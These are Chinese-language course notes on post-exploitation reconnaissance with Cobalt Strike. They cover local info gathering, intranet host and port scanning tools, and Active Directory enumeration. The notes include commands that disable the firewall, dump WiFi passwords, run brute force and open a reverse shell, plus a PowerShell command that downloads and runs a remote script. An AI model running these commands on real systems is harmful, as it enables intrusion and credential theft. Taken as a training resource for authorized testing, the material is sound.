附上CS教程笔记:
此处为语雀内容卡片,点击链接查看:https://www.yuque.com/glorygod/osgyb5/zgbx5y5lpcsn2kee
手动收集本机内网信息
不管是在外网中还是在内网中,信息收集都是重要的第一步。对于内网中的一台机器,其所处内网的结构是什么样的、其角色是什么、使用这台机器的人的角色是什么以及这台机器上安装了什么杀毒软件、这台机器是通过什么方式上网的、这台机器是笔记本电脑还是台式机等问题都需要通过信息收集来解答。
上传木马后先把后门通信时间设短一些
sleep 1
网络配置信息
获取本机的网络配置信息
命令执行
shell ipconfig
操作系统和软件信息
操作系统和版本信息
shell systeminfo
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统体系结构
shell echo %PROCESSOR_ARCHITECTURE%
安装的软件及版本
shell wmic product get name,version
本机服务信息
shell wmic service list brief
进程信息
shell tasklist
shell wmic process list brief
启动程序信息
shell wmic startup get command,caption
计划任务
shell schtasks /query /fo LIST /v
如果无法加载资源先输:chcp 437
主机开机时间
shell net statistics workstation
用户列表信息
shell net user
shell wmic useraccount get name, SID //推荐
列出会话
shell net session
补丁列表
shell systeminfo
shell wmic qfe get Caption,Description,HotFixID,InstalledOn
共享列表
shell net share
shell wmic share get name,path,status
路由信息
shell route print
防火墙相关操作
查看防火墙状态
shell netsh firewall show state
关闭防火墙
Win server 2003: shell netsh firewall set opmode disable
Win server 2003之后: shell netsh firewall set opmode disable 或者
shell netsh advfirewall set allprofiles state off(推荐使用)
查看防火墙配置
shell netsh firewall show config
查看WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
自动收集本地信息
bat脚本
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
echo 123 >1.txt 输出123到1.txt
echo 456 >>1.txt 追加456到1.txt
@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt
echo %PROCESSOR_ARCHITECTURE% >>1.txt
自动信息收集就是将之前讲的命令写成bat脚本运行,省去了我们手工的麻烦
其他脚本
下面脚本帮助我们完成辅助工作
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set
"var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >>
out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName
/format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get
Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace
/format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >>
out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get
Description,InstallDate,InstallLocation,PackageCache,Vendor,Version
/format:"%var%" >> out.html
wmic os get
name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >>
out.html
操作
对着靶机右键,浏览探测,文件浏览
上传自动化 .bat 的脚本
上传成功后右键运行
再再 beacon 终端中 查看生成的文件 shell type 1.txt
利用CS进行内网IP扫描和发现
NetBIOS
这是一款用于扫描Windows网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。但只能用于局域网
用法:将nbtscan.exe上传到目标主机,在powershell中运行
shell nbtscan.exe 192.168.26.0/24
ICMP
除了利用NetBIOS探测内网,还可以利用ICMP协议探测内网。依次对内网中的每个IP地址执行ping命令,可以快速找出内网中所有存活酌主机。在渗透测试中中,可以使用如下命令循环探测整个C段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.26.%I | findstr "TTL="
ARP
使用arp协议进行IP探测 ,arp.exe
arp -t 192.168.26.0/24
KSCAN
kscan是一款资产测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是go平台首款开源的RDP暴力破解工具
使用方法
usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]
optional arguments:
-h , --help show this help message and exit
-f , --fofa 从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
-t , --target 指定探测对象:
IP地址:114.114.114.114
IP地址段:114.114.114.114/24,不建议子网掩码小于12
IP地址段:114.114.114.114-115.115.115.115
URL地址:https://www.baidu.com
文件地址:file:/tmp/target.txt
--spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
(空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
--check 针对目标地址做指纹识别,仅不会进行端口探测
--scan 将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
-p , --port 扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
-eP, --excluded-port 跳过扫描指定的端口,支持:80,8080,8088-8090
-o , --output 将扫描结果保存到文件
-oJ 将扫描结果使用json格式保存到文件
-Pn 使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
-Cn 使用此参数后,控制台输出结果将不会带颜色
-Dn 使用此参数后,将关闭CDN识别功能
-sV 使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
--top 扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
--proxy 设置代理(socks5|socks4|https|http)://IP:Port
--threads 线程参数,默认线程100,最大值为2048
--path 指定请求访问的目录,只支持单个目录
--host 指定所有请求的头部Host值
--timeout 设置超时时间
--encoding 设置终端输出编码,可指定为:gb2312、utf-8
--match 对资产返回banner进行检索,存在关键字的,才会显示,否则不会显示
--hydra 自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
hydra options:
--hydra-user 自定义hydra爆破用户名:username or user1,user2 or file:username.txt
--hydra-pass 自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
--hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
--hydra-mod 指定自动化暴力破解模块:rdp or rdp,ssh,smb
fofa options:
--fofa-syntax 将获取fofa搜索语法说明
--fofa-size 将设置fofa返回条目数,默认100条
--fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值
cs中输入
shell kscan.exe -t 192.168.26.0/24 --encoding gb2312 //解决乱码
shell kscan.exe --spy all --encoding gb2312
FSCAN
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
Ladon(重头戏)
Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。7.5版本内置100个功能模块,外部模块18个,通过多种协议以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、数据库等信息,漏洞检测包含MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列等,密码爆破13种含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等,远程执行命令包含(wmiexe/psexec/atexec/sshexec/jspshell),Web指纹识别模块可识别75种(Web应用、中间件、脚本类型、页面类型)等,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动。
说明书查看 Ladon 文件夹中的 wiki.txt,或者
利用CS进行内网端口扫描和发现
内网端口扫描技术
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的涌洞、分析目标网络的拓扑结构等, 在进行内网渗测试时,通常会使用Metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。
Scanline
ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。
用法
‐? ‐ 显示此帮助文本
‐b ‐ 获取端口横幅
‐c ‐ TCP 和 UDP 尝试超时(毫秒)。 默认值为 4000
‐d ‐ 扫描之间的延迟(毫秒)。 默认为 0
‐f ‐ 从文件中读取 IP。 使用“stdin”作为标准输入
‐g ‐ 绑定到给定的本地端口
‐h ‐ 隐藏没有开放端口的系统的结果
‐i ‐ 除了 Echo 请求之外,用于 ping 使用 ICMP 时间戳请求
‐j ‐ 不要在 IP 之间输出“‐‐‐‐‐...”分隔符
‐l ‐ 从文件中读取 TCP 端口
‐L ‐ 从文件中读取 UDP 端口
‐m ‐ 绑定到给定的本地接口 IP
‐n ‐ 不扫描端口 ‐ 仅 ping(除非您使用 ‐p)
‐o ‐ 输出文件(覆盖)
‐O ‐ 输出文件(追加)
‐p ‐ 扫描前不要 ping 主机
‐q ‐ ping 超时(毫秒)。 默认值为 2000
‐r ‐ 将 IP 地址解析为主机名
‐s ‐ 以逗号分隔格式输出 (csv)
‐t ‐ 要扫描的 TCP 端口(以逗号分隔的端口/范围列表)
‐T ‐ 使用 TCP 端口的内部列表
‐u ‐ 要扫描的 UDP 端口(以逗号分隔的端口/范围列表)
‐U ‐ 使用 UDP 端口的内部列表
‐v ‐ 详细模式
‐z ‐ 随机化 IP 和端口扫描顺序
scanline.exe ‐bhpt 21‐23,25,80,110,135‐139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 100.100.0.39
scanline.exe ‐bhpt 80,443 100.100.0.1‐254(IP)
scanline.exe ‐bhpt 139,445 IP
Telnet
Telnet协议是TCP/IP协议族的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便。
telnet IP 端口
RedTeamTool
RedTeamTool中有一个本地端口扫面的工具
portscanx64 10000
PowerSpioit
PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等
下载地址: https://github.com/PowerShellMafia/PowerSploit
用法
ActivirusBypass:发现杀毒软件的查杀特征
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本
Persistence:后门脚本
Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本
本地执行
powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt
远程执行
python -m http.server 80 开启http服务
powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt
Nishang
Nishang是一款针对PowerShell的渗透工具。说到渗透工具,那自然便是老外开发的东西。国人开发的东西,也不是不行,只不过不被认可罢了。不管是谁开发的,既然跟渗透有关系,那自然是对我们有帮助的,学习就好。来源什么的都不重要。总之,nishang也是一款不可多得的好工具。非常的好用。
下载地址 https://github.com/samratashok/nishang
课后阅读 https://dude6.com/article/116047.html
使用方式
Set‐ExecutionPolicy remotesigned 允许导入
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }
Import‐Module .\nishang.psm1 导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost 扫描
直接利用power shell 导入,在beacon命令行内写入powershell-import 文件名 (文件要放在cs目录下)
beacon> powershell‐import //导入各种powershell脚本,这里可以导入nishang模块
beacon>powershell powershell脚本名
或者
beacon> powershell Check‐VM
Kscan
Fscan
常见端口服务
文件共享服务端口
端 口 号 | 端口说明 | 使用说明 |
21、22、69 | FTP/ FTP 文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
2049 | NFS 服务 | 配置不当 |
139 | SAMBA 服务 | 爆破、未授权访问、远程代码执行 |
389 | LDAP 目录访问协议 | 注入、允许匿名访问、弱口令 |
远程连接服务端口
端 口 号 | 端口说明 | 使用说明 |
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet 远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP 远程桌面连接 | Shift 后门 (2003 以下版本) 爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PcAnywhere 服务 | 抓取密码、代码执行 |
Web 应用服务端口
端口号 | 端口说明 | 使用说明 |
80、443、8080 | 常见的Web 服务端口 | Web 攻击、爆破、对应服务器版本漏洞 |
7001 、7002 | WebLogic 控制台 | Java 反序列化、弱口令 |
8080 、8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere 控制台 | Java 反序列化、弱口令 |
4848 | GlassFish 控制台 | 弱口令 |
1352 | Lotus Domino 邮件服务 | 弱口令、信息泄露、爆破 |
10000 | webmin 控制面板 | 弱口令 |
数据库服务端口
端口号 | 端口说明 | 使用说明 |
3306 | MySQL 数据库 | 注入、提权、爆破 |
1433 | MSSQL 数据库 | 注入、提权、SA 弱口令、爆破 |
1521 | Ora cle 数据库 | 1N S 爆破、注入、反弹She ll |
5432 | Post greSQL数据库 | 爆破、注入、弱口令 |
27017 、27018 | MongoDB 数据库 | 爆破、未授权访问 |
6379 | Redis 数据库 | 可尝试未授权访问、弱口令爆破 |
5000 | Sysbase/DB2 数据库 | 爆破、注入 |
邮件服务端口
端口号 | 端口说明 | 使用说明 |
25 | SMTP 邮件服务 | 邮件伪造 |
110 | POP3 协议 | 爆破、嗅探 |
143 | IMAP 协议 | 爆破 |
网络常见协议端口
端口号 | 端口说明 | 使用说明 |
53 | DNS 域名系统 | 允许区域传送、DNS 劫持、缓存投毒、欺骗 |
67、68 | DHCP 服务 | 劫持、欺骗 |
161 | SNMP 协议 | 爆破、搜集目标内网信息 |
特殊服务端口
端口号 | 端口说明 | 使用说明 |
2181 | ZooKeeper 服务 | 未授权访问 |
8069 | Zabbix 服务 | 远程执行、SQL 注入 |
9200 、9300 | El asticsearcb 服务 | 远程执行 |
11211 | Memcached 服务 | 未授权访问 |
512、513、514 | Linux rexec 服务畴 | 爆破、远程登录 |
873 | rsync 服务 | 匿名访问、文件上传 |
3690 | SVN 服务 | SVN 泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
域环境基本信息收集
查询权限
查看当前权限后,有四种情况:
1、本地普通用户:当前为本机的user用户
2、本地管理员用户:当前为本机的admmistrator
3、域内用户:当前为域内普通用户
4、域内用户:当前为hacke域内的administrator用户
在这四种情况中。
- 如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息
- 而本地管理员用户和域内用户可以查询域内信息
其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输入账号和密码本地管理员Admmistrator权限可以直接提升为Ntauthority或System权限,因此,在域中,除普通用户外,所有的机器都有—个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户所以,使用System权限可以运行域内的查询命令。
判断域的存在
获得了本机的相关信息后,就要判断当前内网中是否存在域。如果当前内网中存在域,就需要判断所控主机是否在域内。下面几种方法:
IPconfig /all
执行命令,可以查看网关IP地址、DNS的IP地址,域名、本机是否和DNS服务器处于同一网段等信息
然后,通过反向解析查询命令nslookup来解析域名的IP地址。用解析得到的IP地址进行对比判断域控制器和DNS服务器是否在同—台服务器上。
systeminfo
执行如下命令,“域”即域名,登录服务器为域控制器。如果“域”为“WORKGROUP”,表示当前服务器不在域内。
net config workstation
net time /domain
一般会有如下三种情况:
1. 存在域,但当前用户不是域用户
2. 存在域,并且当前用户是域用户
3. 当前网络环境为工作组,不存在域
确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。介绍的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行本节介绍的查询命令( System 权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上 "$"。 System权限用户对应的就是域里面的机器用户,所以System权限用户可以运行本节介绍 的查询命令)
NET命令详解
NET命令是一个命令行命令,Net命令有很多函数用于实用和核查计算机之间的NetBIOS连接,可以查看我们的管理网络环境、服务、用户、登陆等信息内容;要想获得Net 的HELP可以:
(1)在Windows下可以用图形的方式,开始->帮助->索引->输入NET;
(2)在COMMAND下可以用字符方式:NET /?或NET或NET HELP取得相应的方法的帮助。
所有Net命令接受选项/yes和/no(可缩写为/y和/n)。
主要命令 | ||||
NET View | NET User | NET Use | NET Time | Net Start |
Net Pause | Net Continue | NET Stop | Net Statistics | Net Share |
Net Session | Net Send | Net Print | Net Name | Net Localgroup |
Net Group | Net File | Net Config | Net Computer | Net Accounts |
查询域
net view /domain
查询域内所有计算机
net view /domain:域名
查询域内所有用户组列表
net group /domain
DomainAdmins:域管理员。
DomainComputers:域内机器。
DomainControllers:域控制器。
DomainGusers:域访客,权限较低。
DomainUser:域用户。
EnterpriseAdmins:企业系统管理员用户
在默认情况下, Domain admins和Enterprise Admins对域内所有域控制器有完全控制权限
查询所有域成员计算机列表
net group "domain computers" /domain
获取域密码信息
net accounts /domain
获取域信任信息
nltest /domain_trusts
域中查找DC的多种方式
查看DC的机器名
nltest /DCLIST:域名
查看DC的主机名
nslookup -type=SRV _ldap.tcp
查看当前时间
net time /domain
查看DC组
net group "Domain Controllers" /domain
在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行。
获取域内用户基本信息
获取域内用户
向DC进行查询
net user /domain
其中,查询出的 krbtgt 用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法
获取域内用户详细信息
用wmic可以获取域内用户的详细常见参数包括用户名、描述信息、SID、域名、状态等。
wmic useraccount get/all
wmic命令详解
ALIAS | ‐ 对本地系统上可用别名的访问 |
BASEBOARD | ‐ 基板(也称为主板或系统板)管理。 |
BIOS | ‐ 基本输入/输出服务(BIOS)管理。 |
BOOTCONFIG | ‐ 启动配置管理。 |
CDROM | ‐ CD‐ROM 管理。 |
COMPUTERSYSTEM | ‐ 计算机系统管理。 |
CPU | ‐ CPU 管理。 |
CSPRODUCT | ‐ SMBIOS 中的计算机系统产品信息。 |
DATAFILE | ‐ 数据文件管理。 |
DCOMAPP | ‐ DCOM 应用程序管理。 |
DESKTOP | ‐ 用户的桌面管理。 |
DESKTOPMONITOR | ‐ 桌面监视器管理。 |
DEVICEMEMORYADDRESS | ‐ 设备内存地址管理。 |
DISKDRIVE | ‐ 物理磁盘驱动器管理。 |
DISKQUOTA | ‐ 用于 NTFS 卷的磁盘空间使用量。 |
DMACHANNEL | ‐ 直接内存访问(DMA)通道管理。 |
ENVIRONMENT | ‐ 系统环境设置管理。 |
FSDIR | ‐ 文件系统目录项管理。 |
GROUP | ‐ 组帐户管理。 |
IDECONTROLLER | ‐ IDE 控制器管理。 |
IRQ | ‐ 中断请求线路(IRQ)管理。 |
JOB | ‐ 提供对使用计划服务安排的作业的访问。 |
LOADORDER | ‐ 定义执行依赖关系的系统服务的管理。 |
LOGICALDISK | ‐ 本地存储设备管理。 |
LOGON | ‐ 登录会话。 |
MEMCACHE | ‐ 缓存内存管理。 |
MEMORYCHIP | ‐ 内存芯片信息。 |
MEMPHYSICAL | ‐ 计算机系统的物理内存管理。 |
NETCLIENT | ‐ 网络客户端管理。 |
NETLOGIN | ‐ 网络登录信息(属于特定用户)管理。 |
NETPROTOCOL | ‐ 协议(及其网络特征)管理。 |
NETUSE | ‐ 活动网络连接管理。 |
NIC | ‐ 网络接口控制器(NIC)管理。 |
NICCONFIG | ‐ 网络适配器管理。 |
NTDOMAIN | ‐ NT 域管理。 |
NTEVENT | ‐ NT 事件日志中的项目。 |
NTEVENTLOG | ‐ NT 事件日志文件管理。 |
ONBOARDDEVICE | ‐ 主板(系统板)中内置的通用适配器设备的管理。 |
OS | ‐ 已安装操作系统的管理。 |
PAGEFILE | ‐ 虚拟内存文件交换管理。 |
PAGEFILESET | ‐ 页面文件设置管理。 |
PARTITION | ‐ 物理磁盘的已分区区域的管理。 |
PORT | ‐ I/O 端口管理。 |
PORTCONNECTOR | ‐ 物理连接端口管理。 |
PRINTER | ‐ 打印机设备管理。 |
PRINTERCONFIG | ‐ 打印机设备配置管理。 |
PRINTJOB | ‐ 打印作业管理。 |
PROCESS | ‐ 进程管理。 |
PRODUCT | ‐ 安装程序包任务管理。 |
QFE | ‐ 快速修复工程。 |
QUOTASETTING | ‐ 卷上的磁盘配额设置信息。 |
RDACCOUNT | ‐ 远程桌面连接权限管理。 |
RDNIC | ‐ 对特定网络适配器的远程桌面连接管理。 |
RDPERMISSIONS | ‐ 特定远程桌面连接的权限。 |
RDTOGGLE | ‐ 远程打开或关闭远程桌面侦听程序。 |
RECOVEROS | ‐ 操作系统出现故障时将从内存收集的信息。 |
REGISTRY | ‐ 计算机系统注册表管理。 |
SCSICONTROLLER | ‐ SCSI 控制器管理。 |
SERVER | ‐ 服务器信息管理。 |
SERVICE | ‐ 服务应用程序管理。 |
SHADOWCOPY | ‐ 卷影副本管理。 |
SHADOWSTORAGE | ‐ 卷影副本存储区域管理。 |
SHARE | ‐ 共享资源管理。 |
SOFTWAREELEMENT | ‐ 系统上安装的软件产品元素的管理。 |
SOFTWAREFEATURE | ‐ SoftwareElement 的软件产品子集的管理。 |
SOUNDDEV | ‐ 声音设备管理。 |
STARTUP | ‐ 当用户登录到计算机系统时自动运行的命令的管理。 |
SYSACCOUNT | ‐ 系统帐户管理。 |
SYSDRIVER | ‐ 基本服务的系统驱动程序管理。 |
SYSTEMENCLOSURE | ‐ 物理系统外壳管理。 |
SYSTEMSLOT | ‐ 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。 |
TAPEDRIVE | ‐ 磁带驱动器管理。 |
TEMPERATURE | ‐ 温度传感器(电子温度计)数据管理。 |
TIMEZONE | ‐ 时区数据管理。 |
UPS | ‐ 不间断电源(UPS)管理。 |
USERACCOUNT | ‐ 用户帐户管理。 |
VOLTAGE | ‐ 电压传感器(电子电压表)数据管理。 |
VOLUME | ‐ 本地存储卷管理。 |
VOLUMEQUOTASETTING | ‐ 将磁盘配额设置与特定磁盘卷相关联。 |
VOLUMEUSERQUOTA | ‐ 每用户存储卷配额管理。 |
WMISET | ‐ WMI 服务操作参数管理 |
查看存在用户
只有在 server 服务器上才有这个命令
dsquery user
常用的 dsquery 命令:
dsquery computer | ‐查找目录中的计算 |
获取DC管理员信息
查询本地管理员组用户
net localgroup administrators
Domain admin组中的用户默认为域内机器的本地管理员用户在实际应用中为了方便管理,会有域用户被设置为域机器的本地管理员用户。
查询域管理用户
net group "domain admins" /domain
查询域管理员用户组
net group "Enterprise Admins" /domain
定位域管理员
在内网中,通常会部署大址的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、 反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限。在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限,也就是说,当目标机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加
到本地系统管理员组中,因此域管理员组的成员都可以访问本地计算机,且具备安全控制权限。
定位域内管理员的常规果道,一是日志,二是会话。日志是指本地机器的管理员日志,会话是指域内每台机器的登录会话。
假设已经在Windows域中取得了普通用户权限,希望在域内横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组,有助于更好地了解域的布局。
手动定位域管理员
net view /domain 查看当前域名
net view /domain:域名 查看域内部所有计算机名
net group /domain 查看域内部所有用户组列表
net group "domain computers" /domain 查看所有域成员计算机列表
net accounts /domain 查看域密码信息
nltest /domian_trusts 获取域信任信息
nltest /DCLIST:域名 查看域控制器机器名
net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain 查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all 获取域内用户详细信息
dsquery user 查看域内存在的用户
net localgroup administrators 查看本地管理员用户组
net group "domain admins" /domain 查询域管理员用户
psloggedom.exe工具
可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。
psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]
PVEDFindADUser.exe工具
pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP 登录的用户、用于运行服务和计划任务的用户账 户。运行该工具的计算机需要具有 .NETFramework 2.0,并且需要具有管理员权限。
‐h:显示帮助信息
‐current["username"]:如果仅指定‐current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名
(Domain\Username),则显示该用户登录的计算机
‐last["username"]:如果仅指定‐last参数,将获取目标计算机上最后一个登录用户。如果指定了用户名
(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户
名,此时使用该工具可能无法得到用户名
‐noping:阻止该工具在获取用户登陆信息之前对目标执行ping命令
‐target:可选参数,用于指定要查询的主机。如果未指定该参数,将查询域中的所有主机。如果指定了此参数,主机名
列表由逗号分隔
直接运行"pvefindaduser.exe ‐current",即可显示域中所有计算机上当前登录的用户
netview.exe
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用NetSessionEnum找寻登陆会话,利NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe的绝大部分功能不需要管理员权限就可以使用。
使用语法:
netview.exe <参数>
‐h:显示帮助菜单。
‐f filename.txt:指定从中提取主机列表的文件。
‐e filename.txt:指定要排除的主机名文件。
‐o filename.txt:将所有输出重定向到文件。
